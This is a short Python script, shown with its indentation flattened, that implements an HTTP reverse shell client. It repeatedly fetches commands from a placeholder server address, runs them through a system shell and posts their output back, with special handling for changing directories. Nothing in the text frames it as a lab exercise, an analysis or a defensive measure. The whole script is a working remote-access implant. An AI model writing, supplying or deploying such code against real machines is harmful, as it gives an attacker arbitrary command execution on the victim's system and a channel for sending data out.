import subprocess
import os
import sys
import requests
# Update these variables with your server's IP address and port
HOST_IP = "your_server_ip"
HOST_PORT = 8080
def inbound(response):
return response.text
def outbound(message):
response = requests.post(f'http://{HOST_IP}:{HOST_PORT}', data=message)
return response
def session_handler():
while True:
message = inbound(requests.get(f'http://{HOST_IP}:{HOST_PORT}'))
if message == 'exit':
print('[-] The server has terminated the session.')
break
elif message.split(" ")[0] == 'cd':
try:
directory = str(message.split(" ")[1])
os.chdir(directory)
cur_dir = os.getcwd()
outbound(cur_dir)
except FileNotFoundError:
outbound('Invalid directory. Try again.')
else:
command = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output = command.stdout.read() + command.stderr.read()
outbound(output)
if __name__ == '__main__':
try:
session_handler()
except Exception as e:
print(e)